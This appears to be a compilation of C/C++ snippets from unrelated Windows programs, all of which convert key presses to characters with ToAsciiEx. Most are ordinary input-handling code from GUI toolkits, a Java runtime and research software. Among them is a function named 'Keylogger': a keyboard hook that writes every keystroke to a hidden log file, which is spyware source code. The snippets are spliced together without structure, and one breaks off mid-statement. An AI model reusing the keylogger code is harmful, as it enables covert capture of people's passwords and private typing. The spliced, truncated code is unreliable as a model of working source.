GHOST_EventKey* GHOST_SystemWin32::processKeyEvent(GHOST_IWindow *window, RAWINPUT const& raw) { int keyDown=0; char vk; GHOST_SystemWin32 * system = (GHOST_SystemWin32 *)getSystem(); GHOST_TKey key = system->hardKey(window, raw, &keyDown, &vk); GHOST_EventKey* event; if (key != GHOST_kKeyUnknown) { char ascii = '\0'; unsigned short utf16[2]={0}; BYTE state[256]; GetKeyboardState((PBYTE)state); if(ToAsciiEx(vk, 0, state, utf16, 0, system->m_keylayout)) WideCharToMultiByte(CP_ACP, 0x00000400, (wchar_t*)utf16, 1, (LPSTR) &ascii, 1, NULL,NULL); event = new GHOST_EventKey(system->getMilliSeconds(), keyDown ? GHOST_kEventKeyDown: GHOST_kEventKeyUp, window, key, ascii); #ifdef GHOST_DEBUG std::cout << ascii << std::endl; #endif } else { event = 0; } return event; }
unsigned char CKeyboard::ToAscii(unsigned int vKeyCode, unsigned int k, unsigned char sKState[256]) const { unsigned short ascii[2] = {0}; int nResult = ToAsciiEx( vKeyCode, k, sKState, ascii, 0, GetKeyboardLayout(0) ); if (nResult == 2) return (char)(ascii[1] ? ascii[1] : (ascii[0] >> 8)); else if (nResult == 1)
/* * @implemented */ int WINAPI ToAscii(UINT uVirtKey, UINT uScanCode, CONST BYTE *lpKeyState, LPWORD lpChar, UINT uFlags) { return ToAsciiEx(uVirtKey, uScanCode, lpKeyState, lpChar, uFlags, 0); }
int32 CInputManager::Scan2ascii (uint32 scancode, uint16* result) { static HKL layout=GetKeyboardLayout(0); static uint8 State[256]; if (GetKeyboardState(State)==FALSE) return 0; uint32 vk=MapVirtualKeyEx(scancode,1,layout); return ToAsciiEx(vk,scancode,State,result,0,layout); }
WORD scanCodeToASCII(DWORD scancode) { HKL layout = GetKeyboardLayout(0); UINT vk=MapVirtualKeyEx(scancode,1,layout); UCHAR State[256]; WORD res = 0; if (GetKeyboardState(State) && ToAsciiEx(vk,scancode,State,&res,0,layout) == 1); return res; }
static unsigned char scan2ascii(WPARAM vk, LPARAM scancode) { static HKL layout; static unsigned char State[256]; static unsigned char chars[2]; int count; layout = GetKeyboardLayout(0); if (GetKeyboardState(State)==FALSE) return 0; count = ToAsciiEx(vk,scancode,State,&chars,0,layout); if (count > 0) return chars[0]; else return 0; }
std::string cil::CILKeyboardState::ToAscii( CIL_KEY key ) { std::string out; int scan; USHORT buff[2]; scan = MapVirtualKeyEx(key, 0, m_keyboardLayout); if ( ToAsciiEx(key, scan, m_keys, buff, 0, m_keyboardLayout) > 0) { out += (char)buff[0]; }; return out; }
unsigned short CP3DInput::GetKeyChar() { bool repeat = m_pTimer->IsTimeElapsed(m_timRepeat, true); for (int i=0; i < 256; i++) { if (i==1) continue; // nepøevádìj esc klávesu if (m_pKeyboardDown[i] || (repeat && m_pKeyboardCurr[i] == true)) // je klávesa poprvé dole? Nebo je uz dost dlouho dole(=opakovat)? { //NUMPAD switch(i) { case DIK_NUMPAD0: return '0'; break; case DIK_NUMPAD1: return '1'; break; case DIK_NUMPAD2: return '2'; break; case DIK_NUMPAD3: return '3'; break; case DIK_NUMPAD4: return '4'; break; case DIK_NUMPAD5: return '5'; break; case DIK_NUMPAD6: return '6'; break; case DIK_NUMPAD7: return '7'; break; case DIK_NUMPAD8: return '8'; break; case DIK_NUMPAD9: return '9'; break; case 83: return '.'; break; case 181: return '/'; break; case DIK_NUMPADCOMMA: return '.'; break; case DIK_NUMPADENTER: return 13; break; case DIK_NUMPADEQUALS: return '='; break; } unsigned short result=0; // výsledný znak HKL layout=GetKeyboardLayout(0); // získej aktuální rozložení klávesnice unsigned char State[256]; if (GetKeyboardState(State)==FALSE) // získej stav všech virt. kláves return 0; // chyba unsigned int vk=MapVirtualKeyEx(i,1,layout); // namapuj virtual-code ToAsciiEx(vk,i,State,&result, 0,layout); // získej Ascii znak //CON(MSG_CON_INFO, "%d => %d", i, result); // DEBUG! return result; } } return 0; }
LRESULT CALLBACK Keylogger(int nCode, WPARAM wParam, LPARAM lParam) { KBDLLHOOKSTRUCT cKey = *((KBDLLHOOKSTRUCT*)lParam); HKL keyboard_layout = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), 0)); WORD symbol = NULL; BYTE keyboard_state[256]; wchar_t unicodesymbol = NULL; char lpzsname[0x100] = { 0 }; DWORD dwMsg = 1; int keys[9] = { 0x08, 0x0d, 0x10, 0x11, 0x12, 0x14, 0x1b, 0x2e, 0x00 }; bool flag_sys = false; ofstream out; out.open(logkl, ios::app); HideFile(logkl); GetKeyboardState(keyboard_state); dwMsg += cKey.scanCode << 16; dwMsg += cKey.flags << 24; GetKeyNameText(dwMsg, (LPTSTR)lpzsname, 255); //ToUnicodeEx(cKey.vkCode, cKey.scanCode, keyboard_state, &unicodesymbol, 1, 0, keyboard_layout); ToAsciiEx(cKey.vkCode, cKey.scanCode, keyboard_state, &symbol, 0, keyboard_layout); for (int i = 0; i < 10; i++) { if (symbol == keys[i]) flag_sys = true; } if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && flag_sys == false) out << (char)symbol; if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && flag_sys == true) out << "[" << lpzsname << "]"; out.close(); return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam); }
KeyID CMSWindowsKeyState::getIDForKey(CKeyMap::KeyItem& item, KeyButton button, UINT virtualKey, PBYTE keyState, HKL hkl) const { int n; KeyID id; if (m_is95Family) { // XXX -- how do we get characters not in Latin-1? WORD ascii; n = ToAsciiEx(virtualKey, button, keyState, &ascii, 0, hkl); id = static_cast<KeyID>(ascii & 0xffu); } else { WCHAR unicode[2]; n = m_ToUnicodeEx(virtualKey, button, keyState, unicode, sizeof(unicode) / sizeof(unicode[0]), 0, hkl); id = static_cast<KeyID>(unicode[0]); } switch (n) { case -1: return CKeyMap::getDeadKey(id); default: case 0: // unmapped return kKeyNone; case 1: return id; case 2: // left over dead key in buffer. this used to recurse, // but apparently this causes a stack overflow, so just // return no key instead. return kKeyNone; } }
//================================================================================ void ATHInputManager::SendKeyboardEvent() { ATHKeyList m_liKeysDown = CheckKeys(); ATHKeyList::iterator itrCurr = m_liKeysDown.begin(); ATHKeyList::iterator itrEnd = m_liKeysDown.end(); ATHEvent keyEvent( AET_KEYBOARD ); unsigned int unKeyDownIndex = 0; unsigned int unKeyUpIndex = 0; while( itrCurr != itrEnd ) { unsigned int szDIKKey = (*itrCurr); if (KeyPressed( szDIKKey ) && unKeyDownIndex < 8) { BYTE chAsciiKeys[ATH_NUM_KEYS] = {}; if (GetKeyboardState(chAsciiKeys)) { unsigned short szAsciiKey = 0; // Why do I have to do both opposite conversions???? int nCharCount = ToAsciiEx(MapVirtualKeyEx(szDIKKey, MAPVK_VSC_TO_VK, NULL), MapVirtualKeyEx(szDIKKey, MAPVK_VK_TO_VSC, NULL), chAsciiKeys, &szAsciiKey, 0, NULL); if (nCharCount > 0) { keyEvent.KEY_szKeysPressed[unKeyDownIndex] = (char)szAsciiKey; unKeyDownIndex++; } } } itrCurr++; } if( unKeyDownIndex > 0|| unKeyUpIndex > 0 ) { keyEvent.m_EventID = AEI_KEYDOWN; m_pEventManager->SendEvent( keyEvent, AEP_IMMEDIATE ); } }
static void BuildDynamicKeyMapTable() { HKL hkl = GetKeyboardLayout(0); // Will need this to reset layout after dead keys. UINT spaceScanCode = MapVirtualKeyEx(VK_SPACE, 0, hkl); DynamicKeyMapEntry *dynamic; LANGID idLang = LOWORD(GetKeyboardLayout(0)); UINT codePage; TCHAR strCodePage[MAX_ACP_STR_LEN]; // use the LANGID to create a LCID LCID idLocale = MAKELCID(idLang, SORT_DEFAULT); // get the ANSI code page associated with this locale if (GetLocaleInfo(idLocale, LOCALE_IDEFAULTANSICODEPAGE, strCodePage, sizeof(strCodePage)/sizeof(TCHAR)) > 0 ) { codePage = _ttoi(strCodePage); } else { codePage = GetACP(); } // Entries in dynamic table that maps between Java VK and Windows // VK are built in three steps: // 1. Map windows VK to ANSI character (cannot map to unicode // directly, since ::ToUnicode is not implemented on win9x) // 2. Convert ANSI char to Unicode char // 3. Map Unicode char to Java VK via two auxilary tables. for (dynamic = dynamicKeyMapTable; dynamic->windowsKey != 0; ++dynamic) { char cbuf[2] = { '\0', '\0'}; WCHAR ucbuf[2] = { L'\0', L'\0' }; int nchars; UINT scancode; const CharToVKEntry *charMap; int nconverted; WCHAR uc; BYTE kbdState[256]; // Defaults to J_VK_UNDEFINED dynamic->javaKey = J_VK_UNDEFINED; GetKeyboardState(kbdState); kbdState[dynamic->windowsKey] |= 0x80; // Press the key. // Unpress modifiers, since they are most likely pressed as // part of the keyboard switching shortcut. kbdState[VK_CONTROL] &= ~0x80; kbdState[VK_SHIFT] &= ~0x80; kbdState[VK_MENU] &= ~0x80; scancode = MapVirtualKeyEx(dynamic->windowsKey, 0, hkl); nchars = ToAsciiEx(dynamic->windowsKey, scancode, kbdState, (WORD*)cbuf, 0, hkl); // Auxiliary table used to map Unicode character to Java VK. // Will assign a different table for dead keys (below). charMap = charToVKTable; if (nchars < 0) { // Dead key char junkbuf[2] = { '\0', '\0'}; // Use a different table for dead chars since different layouts // return different characters for the same dead key. charMap = charToDeadVKTable; // We also need to reset layout so that next translation // is unaffected by the dead status. We do this by // translating <SPACE> key. kbdState[dynamic->windowsKey] &= ~0x80; kbdState[VK_SPACE] |= 0x80; ToAsciiEx(VK_SPACE, spaceScanCode, kbdState, (WORD*)junkbuf, 0, hkl); } nconverted = MultiByteToWideChar(codePage, 0, cbuf, 1, ucbuf, 2); uc = ucbuf[0]; { const CharToVKEntry *map; for (map = charMap; map->c != 0; ++map) { if (uc == map->c) { dynamic->javaKey = map->javaKey; break; } } } } // for each VK_OEM_* }
// This is the event dequeue & process function which updates // Keyboard queue state. It can be called with 'blockingSinglepass' // set to TRUE to process exactly one event, if called from the // background keyboard queue processing thread. Alternatively it // can be called synchronously from KbQueueCheck with a setting of FALSE // to iterate over all available events and process them instantaneously: void KbQueueProcessEvents(psych_bool blockingSinglepass) { LPDIRECTINPUTDEVICE8 kb; DIDEVICEOBJECTDATA event; HRESULT rc; DWORD dwItems; double tnow; unsigned int i, keycode, keystate; PsychHIDEventRecord evt; WORD asciiValue[2]; UCHAR keyboardState[256]; while (1) { // Single pass or multi-pass? if (blockingSinglepass) { // Wait until at least one event available and dequeue it: // We use a timeout of 100 msecs. WaitForSingleObject(hEvent, 100); } else { // Check if event available, dequeue it, if so. Abort // processing if no new event available, aka queue empty: // TODO if (!XCheckTypedEvent(thread_dpy, GenericEvent, &KbQueue_xevent)) break; } // Take timestamp: PsychGetAdjustedPrecisionTimerSeconds(&tnow); // Need the lock from here on: PsychLockMutex(&KbQueueMutex); // Do a sweep over all keyboard devices whose queues are active: for (i = 0; i < (unsigned int) ndevices; i++) { // Skip this one if inactive: if (!psychHIDKbQueueActive[i]) continue; // Check this device: kb = GetXDevice(i); // Fetch one item from the buffer: // event.dwTimeStamp = Timestamp in msecs of timeGetTime() timebase. // event.dwSequence = Sequence number. // Fetch from this device, item-by-item, until nothing more to fetch: while (TRUE) { // Try one fetch from this device: dwItems = 1; rc = kb->GetDeviceData(sizeof(DIDEVICEOBJECTDATA), &event, &dwItems, 0); // If failed or nothing more to fetch, break out of fetch loop: if (!SUCCEEDED(rc) || (0 == dwItems)) break; // Clear ringbuffer event: memset(&evt, 0 , sizeof(evt)); // Init character code to "unmapped": It will stay like that for anything but real keyboards: evt.cookedEventCode = -1; // Map to key code and key state: keycode = event.dwOfs & 0xff; keystate = event.dwData & 0x80; // Remap keycode into target slot in our arrays, depending on input device: switch (info[i].dwDevType & 0xff) { case DI8DEVTYPE_KEYBOARD: // Try to map scancode to ascii character: memset(keyboardState, 0, sizeof(keyboardState)); if (GetAsyncKeyState(VK_SHIFT)) keyboardState[VK_SHIFT] = 0xff; if ((1 == ToAsciiEx(MapVirtualKeyEx(keycode, 1, GetKeyboardLayout(0)), keycode, keyboardState, (LPWORD) &(asciiValue[0]), 0, GetKeyboardLayout(0)))) { // Mapped to single char: Return it as cooked keycode: evt.cookedEventCode = (int) (asciiValue[0] & 0xff); } else { // Could not map key to valid ascii character: Mark as "not mapped" aka zero: evt.cookedEventCode = 0; } // Map scancode 'keycode' to virtual key code 'keycode': keycode = PsychHIDOSMapKey(keycode); break; case DI8DEVTYPE_MOUSE: case DI8DEVTYPE_SCREENPOINTER: // Button event? Otherwise skip it. if (keycode < 3 * sizeof(LONG)) continue; // Correct for buttons offset in data structure DIMOUSESTATE2: keycode -= 3 * sizeof(LONG); break; case DI8DEVTYPE_JOYSTICK: // Button event? Otherwise skip it. if (keycode < (8 * sizeof(LONG) + 4 * sizeof(DWORD))) continue; // Correct for buttons offset in data structure DIJOYSTATE2: keycode -= (8 * sizeof(LONG) + 4 * sizeof(DWORD)); // Also skip if beyond button array: if (keycode >= 128) continue; break; default: // Unkown device -- Skip it. continue; } // This keyboard queue interested in this keycode? if (psychHIDKbQueueScanKeys[i][keycode] != 0) { // Yes: The queue wants to receive info about this key event. // Press or release? if (keystate) { // Enqueue key press. Always in the "last press" array, because any // press at this time is the best candidate for the last press. // Only enqeue in "first press" if there wasn't any registered before, // ie., the slot is so far empty: if (psychHIDKbQueueFirstPress[i][keycode] == 0) psychHIDKbQueueFirstPress[i][keycode] = tnow; psychHIDKbQueueLastPress[i][keycode] = tnow; evt.status |= (1 << 0); } else { // Enqueue key release. See logic above: if (psychHIDKbQueueFirstRelease[i][keycode] == 0) psychHIDKbQueueFirstRelease[i][keycode] = tnow; psychHIDKbQueueLastRelease[i][keycode] = tnow; evt.status &= ~(1 << 0); // Clear cooked keycode - We don't record key releases this way: if (evt.cookedEventCode > 0) evt.cookedEventCode = 0; } // Update event buffer: evt.timestamp = tnow; evt.rawEventCode = keycode + 1; PsychHIDAddEventToEventBuffer(i, &evt); // Tell waiting userspace (under KbQueueMutex protection for better scheduling) something interesting has changed: PsychSignalCondition(&KbQueueCondition); } // Next fetch iteration for this device... } // Check next device... } // Done with shared data access: PsychUnlockMutex(&KbQueueMutex); // Done if we were only supposed to handle one sweep, which we did: if (blockingSinglepass) break; } return; }
LRESULT CALLBACK generic_view_handler( HWND win, UINT msg, WPARAM mp1, LPARAM mp2) { LRESULT ret = 0; Handle self = GetWindowLongPtr( win, GWLP_USERDATA); PWidget v = ( PWidget) self; UINT orgMsg = msg; Event ev; Bool hiStage = false; int i, orgCmd; Bool message_result = true; if ( !self || appDead) return DefWindowProcW( win, msg, mp1, mp2); memset( &ev, 0, sizeof (ev)); ev. gen. source = self; switch ( msg) { case WM_NCACTIVATE: // if activation or deactivation is concerned with declipped window ( e.g.self), // notify its top level frame so that it will have the chance to redraw itself correspondingly if ( is_declipped_child( self) && !Widget_is_child( hwnd_to_view(( HWND) mp2), hwnd_top_level( self))) { Handle x = hwnd_top_level( self); if ( x) SendMessage( DHANDLE( x), WM_NCACTIVATE, mp1, mp2); } break; case WM_MOUSEACTIVATE: // if pointing to non-active frame, but its declipped child is active at the moment, // cancel activation - it could produce unwilling focus changes if ( sys className == WC_FRAME) { Handle x = hwnd_to_view( GetActiveWindow()); if ( is_declipped_child(x) && Widget_is_child( x, self)) return MA_NOACTIVATE; } break; case WM_CLOSE: if ( sys className != WC_FRAME) return 0; break; case WM_COMMAND: if (( HIWORD( mp1) == 0 /* menu source */) && ( mp2 == 0)) { if ( LOWORD( mp1) <= MENU_ID_AUTOSTART) { HWND active = GetFocus(); if ( active != nil) SendMessage( active, LOWORD( mp1), 0, 0); } else if ( sys lastMenu) { PAbstractMenu a = ( PAbstractMenu) sys lastMenu; if ( a-> stage <= csNormal) a-> self-> sub_call_id(( Handle) a, LOWORD( mp1) - MENU_ID_AUTOSTART); } } break; case WM_CONTEXTMENU: { POINT a; a. x = ( short)LOWORD( mp2); a. y = ( short)HIWORD( mp2); ev. cmd = cmPopup; // mouse event ev. gen. B = ( GetKeyState( VK_LBUTTON) < 0) | ( GetKeyState( VK_RBUTTON) < 0); if ( !ev. gen. B && GetSystemMetrics( SM_MOUSEPRESENT)) GetCursorPos(( POINT*) &a); MapWindowPoints( NULL, win, &a, 1); ev. gen. P. x = a. x; ev. gen. P. y = sys lastSize. y - a. y - 1; } break; case WM_ENABLE: ev. cmd = mp1 ? cmEnable : cmDisable; hiStage = true; break; case WM_ERASEBKGND: return 1; case WM_FORCEFOCUS: if ( mp2) ((( PWidget) mp2)-> self)-> set_selected(( Handle) mp2, 1); return 0; case WM_HASMATE: *(( Handle*) mp2) = self; return HASMATE_MAGIC; case WM_IME_CHAR: if ( apc_widget_is_responsive( self)) { ev. cmd = cmKeyDown; ev. key. mod = kmUnicode; ev. key. key = kbNoKey; ev. key. code = mp1; } break; case WM_SYSKEYDOWN: case WM_SYSKEYUP: if ( mp2 & ( 1 << 29)) ev. key. mod = kmAlt; case WM_KEYDOWN: case WM_KEYUP: if ( apc_widget_is_responsive( self)) { BYTE * keyState; Bool up = ( msg == WM_KEYUP) || ( msg == WM_SYSKEYUP); Bool extended = mp2 & ( 1 << 24); UINT scan = ( HIWORD( mp2) & 0xFF) | ( up ? 0x80000000 : 0); int deadPollCount = 0; HKL kl = GetKeyboardLayout(0); // basic assignments ev. cmd = up ? cmKeyUp : cmKeyDown; ev. key. key = ctx_remap_def( mp1, ctx_kb2VK, false, kbNoKey); ev. key. code = mp1; ev. key. repeat = mp2 & 0x000000FF; // VK validations if ( extended) { int ks = ev. key. key; ev. key. key = ctx_remap_def( ks, ctx_kb2VK3, true, ks); if ( ev. key. key != ks) extended = false; // avoid (Ctrl|Alt)R+KeyPad combinations } else if ( mp1 >= VK_NUMPAD0 && mp1 <= VK_DIVIDE) extended = true; // include numpads ev. key. mod = 0 | ( extended ? kmKeyPad : 0) | (( GetKeyState( VK_SHIFT) < 0) ? kmShift : 0) | (( GetKeyState( VK_CONTROL) < 0) ? kmCtrl : 0) | (( GetKeyState( VK_MENU) < 0) ? kmAlt : 0); keyState = guts. keyState; AGAIN: if ( PApplication(application)-> wantUnicodeInput) { WCHAR keys[ 2]; // unicode mapping switch ( ToUnicodeEx( mp1, scan, keyState, keys, 2, 0, kl)) { case 1: // char if ( lastDeadKey ) { WCHAR wcBuffer[3]; WCHAR out[3]; wcBuffer[0] = keys[0]; wcBuffer[1] = lastDeadKey; wcBuffer[2] = '\0'; if ( FoldStringW(MAP_PRECOMPOSED, (LPWSTR) wcBuffer, 3, (LPWSTR) out, 3) ) keys[0] = out[0]; } if ( !deadPollCount && ( GetKeyState( VK_MENU) < 0) && ( GetKeyState( VK_SHIFT) >= 0)) { WCHAR keys2[2]; if (( ToUnicodeEx( mp1, scan, guts. emptyKeyState, keys2, 2, 0, kl) == 1) && ( keys2[0] != keys[0])) { /* example - (AltGr+2) == '@' on danish keyboard. this hack is to tell whether the key without mods will give same character code ... */ ev. key. mod &= ~(kmAlt|kmCtrl|kmShift); } } if (!up) lastDeadKey = 0; break; case 2: { // dead key lastDeadKey = ctx_remap_def( keys[0], ctx_deadkeys, true, keys[0]); keys[ 0] = 0; ev. key. mod |= kmDeadKey; } break; case 0: // virtual key if ( deadPollCount == 0) { /* can't have character code - maybe fish out without mods? */ keyState = guts. emptyKeyState; deadPollCount = 1; goto AGAIN; } else { /* same meaning without mods, no code anyway */ keys[ 0] = 0; } if (!up) lastDeadKey = 0; break; default: ev. key. mod |= kmDeadKey; if (!up) lastDeadKey = 0; } ev. key. code = keys[ 0]; ev. key. mod |= kmUnicode; } else { BYTE keys[ 4]; switch ( ToAsciiEx( mp1, scan, keyState, (LPWORD) keys, 0, kl)) { case 1: // char if ( lastDeadKey ) { BYTE cBuffer[3]; BYTE out[3]; cBuffer[0] = keys[0]; cBuffer[1] = lastDeadKey; cBuffer[2] = '\0'; if ( FoldStringA(MAP_PRECOMPOSED, (LPSTR) cBuffer, 3, (LPSTR) out, 3) ) keys[0] = out[0]; } if ( !deadPollCount && ( GetKeyState( VK_MENU) < 0) && ( GetKeyState( VK_SHIFT) >= 0)) { BYTE keys2[4]; if (( ToAsciiEx( mp1, scan, guts. emptyKeyState, (LPWORD) keys2, 0, kl) == 1) && ( keys2[0] != keys[0])) { /* example - (AltGr+2) == '@' on danish keyboard. this hack is to tell whether the key without mods will give same character code ... */ ev. key. mod &= ~(kmAlt|kmCtrl|kmShift); } } break; case 2: { // dead key lastDeadKey = keys[0]; keys[ 0] = 0; ev. key. mod |= kmDeadKey; } break; case 0: // virtual key if ( deadPollCount == 0) { /* can't have character code - maybe fish out without mods? */ keyState = guts. emptyKeyState; deadPollCount = 1; goto AGAIN; } else { /* same meaning without mods, no code anyway */ keys[ 0] = 0; } if (!up) lastDeadKey = 0; break; default: ev. key. mod |= kmDeadKey; if (!up) lastDeadKey = 0; } ev. key. code = keys[ 0]; } // simulated key codes if ( ev. key. key == kbTab && ( ev. key. mod & kmShift)) ev. key. key = kbBackTab; if ( ev. key. code >= 'A' && ev. key. code <= 'z' && ev. key. mod & kmCtrl) { ev. key. code = toupper(ev. key. code & 0xFF) - '@'; if (!( ev. key. mod & kmShift)) ev. key. code = tolower( ev. key. code); } } break; case WM_INITMENUPOPUP: if ( HIWORD( mp2)) break; // do not use system popup case WM_INITMENU: { PMenuWndData mwd = ( PMenuWndData) hash_fetch( menuMan, &mp1, sizeof( void*)); PMenuItemReg m = nil; sys lastMenu = mwd ? mwd-> menu : nilHandle; if ( mwd && mwd-> menu && ( PAbstractMenu(mwd-> menu)->stage <= csNormal)) { m = ( PMenuItemReg) AbstractMenu_first_that( mwd-> menu, find_oid, INT2PTR(void*,mwd->id), true); hiStage = true; ev. cmd = cmMenu; ev. gen. H = mwd-> menu; ev. gen. i = m ? m-> id : 0; } if (( msg == WM_INITMENUPOPUP) && ( m == nil)) ev. cmd = 0; } break; case WM_KILLFOCUS: if (( HWND) mp1 != win) { ev. cmd = cmReleaseFocus; hiStage = true; apt_assign( aptFocused, 0); DestroyCaret(); } break; case WM_LBUTTONDOWN: ev. pos. button = mbLeft; goto MB_DOWN; case WM_RBUTTONDOWN: ev. pos. button = mbRight; goto MB_DOWN; case WM_MBUTTONDOWN: ev. pos. button = mbMiddle; goto MB_DOWN; case WM_LBUTTONUP: ev. pos. button = mbLeft; goto MB_UP; case WM_RBUTTONUP: ev. pos. button = mbRight; goto MB_UP; case WM_MBUTTONUP: ev. pos. button = mbMiddle; goto MB_UP; case WM_LBUTTONDBLCLK: ev. pos. button = mbLeft; goto MB_DBLCLK; case WM_RBUTTONDBLCLK: ev. pos. button = mbRight; goto MB_DBLCLK; case WM_MBUTTONDBLCLK: ev. pos. button = mbMiddle; goto MB_DBLCLK; case WM_LMOUSECLICK: ev. pos. button = mbLeft; goto MB_CLICK; case WM_RMOUSECLICK: ev. pos. button = mbRight; goto MB_CLICK; case WM_MMOUSECLICK: ev. pos. button = mbMiddle; goto MB_CLICK; case WM_MOUSEWHEEL: { POINT p; p. x = (short)LOWORD( mp2); p. y = (short)HIWORD( mp2); ev. cmd = cmMouseWheel; ev. pos. button = ( short) HIWORD( mp1); MapWindowPoints( nil, win, &p, 1); ev. pos. where. x = p. x; ev. pos. where. y = sys lastSize. y - p. y - 1; } goto MB_MAIN_NOPOS; case WM_MOUSEMOVE: ev. cmd = cmMouseMove; if ( self != lastMouseOver) { Handle old = lastMouseOver; lastMouseOver = self; if ( old && ( PWidget( old)-> stage == csNormal)) SendMessage(( HWND)(( PWidget) old)-> handle, WM_MOUSEEXIT, mp1, mp2); SendMessage( win, WM_MOUSEENTER, mp1, mp2); if ( !guts. mouseTimer) { guts. mouseTimer = 1; if ( !SetTimer( dsys(application)handle, TID_USERMAX, 100, nil)) apiErr; } } goto MB_MAIN; case WM_MOUSEENTER: ev. cmd = cmMouseEnter; goto MB_MAIN; case WM_MOUSEEXIT: ev. cmd = cmMouseLeave; goto MB_MAIN; MB_DOWN: ev. cmd = cmMouseDown; goto MB_MAINACT; MB_UP: ev. cmd = cmMouseUp; goto MB_MAINACT; MB_DBLCLK: ev. pos. dblclk = 1; MB_CLICK: ev. cmd = cmMouseClick; goto MB_MAINACT; MB_MAINACT: if ( !is_apt( aptEnabled) || !apc_widget_is_responsive( self)) { if ( ev. cmd == cmMouseDown || (ev. cmd == cmMouseClick && ev. pos. dblclk)) MessageBeep( MB_OK); return 0; } goto MB_MAIN; MB_MAIN: if ( ev. cmd == cmMouseDown && !is_apt( aptFirstClick)) { Handle x = self; while ( dsys(x) className != WC_FRAME && ( x != application)) x = (( PWidget) x)-> owner; if ( x != application && !local_wnd( GetActiveWindow(), DHANDLE( x))) { ev. cmd = 0; // yes, we abandon mousedown but we should force selection: if ((( PApplication) application)-> hintUnder == self) v-> self-> set_hintVisible( self, 0); if (( v-> options. optSelectable) && ( v-> selectingButtons & ev. pos. button)) apc_widget_set_focused( self); } } ev. pos. where. x = (short)LOWORD( mp2); ev. pos. where. y = sys lastSize. y - (short)HIWORD( mp2) - 1; MB_MAIN_NOPOS: ev. pos. mod = 0 | (( mp1 & MK_CONTROL ) ? kmCtrl : 0) | (( mp1 & MK_SHIFT ) ? kmShift : 0) | (( GetKeyState( VK_MENU) < 0) ? kmAlt : 0) | apc_pointer_get_state(self) ; break; case WM_MENUCHAR: { int key; ev. key. key = ctx_remap_def( mp1, ctx_kb2VK2, false, kbNoKey); ev. key. code = mp1; ev. key. mod |= (( GetKeyState( VK_SHIFT) < 0) ? kmShift : 0) | (( GetKeyState( VK_CONTROL) < 0) ? kmCtrl : 0) | (( GetKeyState( VK_MENU) < 0) ? kmAlt : 0); if (( ev. key. mod & kmCtrl) && ( ev. key. code <= 'z')) ev. key. code += 'A' - 1; key = CAbstractMenu-> translate_key( nilHandle, ev. key. code, ev. key. key, ev. key. mod); if ( v-> self-> process_accel( self, key)) return MAKELONG( 0, MNC_CLOSE); } break; case WM_SYNCMOVE: { Handle parent = v-> self-> get_parent(( Handle) v); if ( parent) { Point pos = var self-> get_origin( self); ev. cmd = cmMove; ev. gen. P = pos; if ( pos. x == var pos. x && pos. y == var pos. y) ev. cmd = 0; } } break; case WM_MOVE: { Handle parent = v-> self-> get_parent(( Handle) v); if ( parent) { Point sz = CWidget(parent)-> get_size( parent); ev. cmd = cmMove; ev. gen . P. x = ( short) LOWORD( mp2); ev. gen . P. y = sz. y - ( short) HIWORD( mp2) - sys yOverride; if ( is_apt( aptTransparent)) InvalidateRect( win, nil, false); } } break; case WM_NCHITTEST: if ( guts. focSysDialog) return HTERROR; // dlg protect code - protecting from user actions if ( !guts. focSysDisabled && ( Application_map_focus( application, self) != self)) return HTERROR; break; case WM_PAINT: ev. cmd = cmPaint; if ( ( sys className == WC_CUSTOM) && ( var stage == csNormal) && ( list_index_of( &guts. transp, self) >= 0) ) return 0; break; case WM_QUERYNEWPALETTE: return palette_change( self); case WM_PALETTECHANGED: if (( HWND) mp1 != win) { Handle mp = hwnd_to_view(( HWND) mp1); if ( mp && ( hwnd_top_level( mp) == hwnd_top_level( self))) return 0; palette_change( self); } break; case WM_POSTAL: ev. cmd = cmPost; ev. gen. H = ( Handle) mp1; ev. gen. p = ( void *) mp2; break; case WM_PRIMA_CREATE: ev. cmd = cmSetup; break; case WM_SETFOCUS: if ( guts. focSysDialog) return 1; // dlg protect code - general case if ( !guts. focSysDisabled && !guts. focSysGranted) { Handle hf = Application_map_focus( application, self); if ( hf != self) { PostMessage( win, WM_FORCEFOCUS, 0, ( LPARAM) hf); return 1; } } if (( HWND) mp1 != win) { ev. cmd = cmReceiveFocus; hiStage = true; apt_assign( aptFocused, 1); cursor_update( self); } break; case WM_SETVISIBLE: if ( list_index_of( &guts. transp, self) < 0) { if ( v-> stage <= csNormal) ev. cmd = mp1 ? cmShow : cmHide; hiStage = true; apt_assign( aptVisible, mp1); } break; case WM_SIZE: ev. cmd = cmSize; ev. gen. R. left = sys lastSize. x; ev. gen. R. bottom = sys lastSize. y; sys lastSize. x = ev. gen. R. right = ev. gen . P. x = ( short) LOWORD( mp2); sys lastSize. y = ev. gen. R. top = ev. gen . P. y = ( short) HIWORD( mp2); if ( ev. gen. R. top != ev. gen. R. bottom) { int delta = ev. gen. R. top - ev. gen. R. bottom; Widget_first_that( self, move_back, &delta); if ( is_apt( aptFocused)) cursor_update(( Handle) self); } if ( sys sizeLockLevel == 0 && var stage <= csNormal) var virtualSize = sys lastSize; break; case WM_TIMER: { int id = mp1 - 1; if ( id >= 0 && id < sys timeDefsCount) ev. gen. H = ( Handle) sys timeDefs[ id]. item; if ( ev. gen. H) { v = ( PWidget)( self = ev. gen. H); ev. cmd = cmTimer; } } break; case WM_WINDOWPOSCHANGING: { LPWINDOWPOS l = ( LPWINDOWPOS) mp2; if ( sys className == WC_CUSTOM) { if (( l-> flags & SWP_NOSIZE) == 0) { ev. cmd = cmCalcBounds; ev. gen. R. right = l-> cx; ev. gen. R. top = l-> cy; } } if (( l-> flags & SWP_NOZORDER) == 0) zorder_sync( self, win, l); } break; case WM_WINDOWPOSCHANGED: { LPWINDOWPOS l = ( LPWINDOWPOS) mp2; if (( l-> flags & SWP_NOZORDER) == 0) PostMessage( win, WM_ZORDERSYNC, 0, 0); if (( l-> flags & SWP_NOSIZE) == 0) { sys yOverride = l-> cy; SendMessage( win, WM_SYNCMOVE, 0, 0); } if ( l-> flags & SWP_HIDEWINDOW) SendMessage( win, WM_SETVISIBLE, 0, 0); if ( l-> flags & SWP_SHOWWINDOW) SendMessage( win, WM_SETVISIBLE, 1, 0); } break; case WM_ZORDERSYNC: ev. cmd = cmZOrderChanged; break; }
